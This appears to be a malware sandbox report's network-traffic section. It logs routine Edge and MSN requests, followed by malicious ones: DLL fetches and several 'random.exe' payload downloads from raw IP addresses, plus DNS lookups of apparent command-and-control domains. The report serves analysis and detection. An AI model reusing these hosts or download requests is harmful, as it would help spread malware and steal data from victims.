Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFuKxXfmS97pgdN117JdnzteDOW0nOxXPbIMSOJi_zMXlj_Y84pRZgGX1_WSw7i6yKhrqpdS319KewJbpE_4ZxBd62lsUferdiEuq7Yg9JR92C5gtrLldrMl4JgnY0IAxlKa5RR9kAwB758lMbnQOIDqR06lx1aH/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732544216&P2=404&P3=2&P4=iQYNWthV3PQL%2bGgU6h%2frhvPMpTKwlvsmfQvmB%2f0UUG1OzilrTtTlqeDpWgSlyXOdZmBxavNCTyZjXGe9brB3BA%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: SW+JC6WVpMczFL22YS7JuOSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731939423841&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=4972dd82e7af4edcb0758df15293dcd4&activityId=4972dd82e7af4edcb0758df15293dcd4&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=3F08C5280D76656126F5D0130C21645D; _EDGE_S=F=1&SID=03766A6908E46CF70A4D7F5209536D1F; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b?rn=1731939423841&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3F08C5280D76656126F5D0130C21645D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=3F08C5280D76656126F5D0130C21645D&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-1896095743575897587&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=a5941e9773ae400dfd0757c43909c250 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=3F08C5280D76656126F5D0130C21645D; _EDGE_S=F=1&SID=03766A6908E46CF70A4D7F5209536D1F; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msFQB.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1731939423841&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3F08C5280D76656126F5D0130C21645D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=182f5a61b169bb601efae761731939425; XID=182f5a61b169bb601efae761731939425
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=3F08C5280D76656126F5D0130C21645D&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-1896095743575897587&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=1aee565c08c841cfc67a421d628172d2 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=3F08C5280D76656126F5D0130C21645D; _EDGE_S=F=1&SID=03766A6908E46CF70A4D7F5209536D1F; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msB1O.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyCF.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731939423841&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=4972dd82e7af4edcb0758df15293dcd4&activityId=4972dd82e7af4edcb0758df15293dcd4&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=17509CD5FFDF4C37B5317ED1EC43F23C&MUID=3F08C5280D76656126F5D0130C21645D HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3F08C5280D76656126F5D0130C21645D; _EDGE_S=F=1&SID=03766A6908E46CF70A4D7F5209536D1F; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=4T+hZraHcSoeyWd&MD=xT7Bx3Fa HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1Host: home.fvtejj5vs.topAccept: /
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16

Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr

String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: home.fvtejj5vs.top
Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs

Source: unknown

